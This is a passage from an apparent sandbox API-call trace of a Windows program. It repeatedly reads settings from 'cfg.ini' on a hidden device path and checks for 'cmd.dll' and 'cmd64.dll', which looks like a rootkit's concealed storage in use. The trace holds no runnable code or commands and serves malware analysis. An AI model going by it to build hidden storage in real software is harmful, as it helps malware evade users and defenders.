FastMutex=0xfffffa80027d3898) [0122.041] KeLeaveCriticalRegion () [0122.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.041] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.041] KeEnterCriticalRegion () [0122.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.041] ExFreePoolWithTag (P=0xfffffa8003bc9550, Tag=0x0) [0122.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.041] KeLeaveCriticalRegion () [0122.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.041] ReleaseMutex (hMutex=0xf0) returned 1 [0122.041] Sleep (dwMilliseconds=0x124f80) [0122.055] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.055] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.055] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.055] KeEnterCriticalRegion () [0122.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.055] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.055] IdePortDispatch () returned 0x103 [0122.055] KeWaitForMutexObject () returned 0x0 [0122.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.056] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.056] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.056] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.056] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.056] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0122.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.056] KeLeaveCriticalRegion () [0122.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.056] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.056] KeEnterCriticalRegion () [0122.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.056] KeLeaveCriticalRegion () [0122.056] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.056] KeEnterCriticalRegion () [0122.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.056] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.056] IdePortDispatch () returned 0x103 [0122.056] KeWaitForMutexObject () returned 0x0 [0122.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.056] KeLeaveCriticalRegion () [0122.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.056] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.056] KeEnterCriticalRegion () [0122.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1b000 [0122.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.057] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.057] IdePortDispatch () returned 0x103 [0122.057] KeWaitForMutexObject () returned 0x0 [0122.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.057] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.057] IdePortDispatch () returned 0x103 [0122.057] KeWaitForMutexObject () returned 0x0 [0122.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.057] KeLeaveCriticalRegion () [0122.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.058] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.058] KeEnterCriticalRegion () [0122.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.058] KeLeaveCriticalRegion () [0122.058] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.058] KeEnterCriticalRegion () [0122.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.058] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.058] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.058] KeLeaveCriticalRegion () [0122.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.058] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.058] KeEnterCriticalRegion () [0122.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.058] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0122.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.058] KeLeaveCriticalRegion () [0122.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.058] ReleaseMutex (hMutex=0xf0) returned 1 [0122.058] Sleep (dwMilliseconds=0x124f80) [0122.072] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.072] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.072] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.072] KeEnterCriticalRegion () [0122.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.072] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.072] IdePortDispatch () returned 0x103 [0122.072] KeWaitForMutexObject () returned 0x0 [0122.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.072] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.073] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.073] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.073] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.073] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9840 [0122.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.073] KeLeaveCriticalRegion () [0122.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.073] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.073] KeEnterCriticalRegion () [0122.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.073] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.073] KeLeaveCriticalRegion () [0122.073] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.073] KeEnterCriticalRegion () [0122.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.073] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.073] IdePortDispatch () returned 0x103 [0122.073] KeWaitForMutexObject () returned 0x0 [0122.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.073] KeLeaveCriticalRegion () [0122.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.073] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.073] KeEnterCriticalRegion () [0122.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c20000 [0122.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.073] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.073] IdePortDispatch () returned 0x103 [0122.074] KeWaitForMutexObject () returned 0x0 [0122.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.074] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.074] IdePortDispatch () returned 0x103 [0122.074] KeWaitForMutexObject () returned 0x0 [0122.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.075] KeLeaveCriticalRegion () [0122.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.075] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.075] KeEnterCriticalRegion () [0122.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.075] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.075] KeLeaveCriticalRegion () [0122.075] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.075] KeEnterCriticalRegion () [0122.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.075] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.075] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.075] KeLeaveCriticalRegion () [0122.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.075] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.075] KeEnterCriticalRegion () [0122.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.075] ExFreePoolWithTag (P=0xfffffa8003bc9840, Tag=0x0) [0122.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.075] KeLeaveCriticalRegion () [0122.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.075] ReleaseMutex (hMutex=0xf0) returned 1 [0122.076] Sleep (dwMilliseconds=0x124f80) [0122.090] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.090] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.090] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.090] KeEnterCriticalRegion () [0122.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.090] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.090] IdePortDispatch () returned 0x103 [0122.090] KeWaitForMutexObject () returned 0x0 [0122.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.090] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.090] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.090] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.090] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.090] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0122.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.090] KeLeaveCriticalRegion () [0122.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.091] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.091] KeEnterCriticalRegion () [0122.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.091] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.091] KeLeaveCriticalRegion () [0122.091] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.091] KeEnterCriticalRegion () [0122.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.091] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.091] IdePortDispatch () returned 0x103 [0122.091] KeWaitForMutexObject () returned 0x0 [0122.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.091] KeLeaveCriticalRegion () [0122.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.092] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.092] KeEnterCriticalRegion () [0122.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c25000 [0122.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.092] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.092] IdePortDispatch () returned 0x103 [0122.092] KeWaitForMutexObject () returned 0x0 [0122.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.092] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.092] IdePortDispatch () returned 0x103 [0122.092] KeWaitForMutexObject () returned 0x0 [0122.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.092] KeLeaveCriticalRegion () [0122.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.093] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.093] KeEnterCriticalRegion () [0122.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.093] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.093] KeLeaveCriticalRegion () [0122.093] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.093] KeEnterCriticalRegion () [0122.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.093] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.093] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.093] KeLeaveCriticalRegion () [0122.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.093] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.093] KeEnterCriticalRegion () [0122.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.093] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0122.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.093] KeLeaveCriticalRegion () [0122.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.093] ReleaseMutex (hMutex=0xf0) returned 1 [0122.093] Sleep (dwMilliseconds=0x124f80) [0122.107] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.107] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.107] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.107] KeEnterCriticalRegion () [0122.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.107] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.107] IdePortDispatch () returned 0x103 [0122.107] KeWaitForMutexObject () returned 0x0 [0122.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.107] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.107] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.107] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.107] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.107] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3850 [0122.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 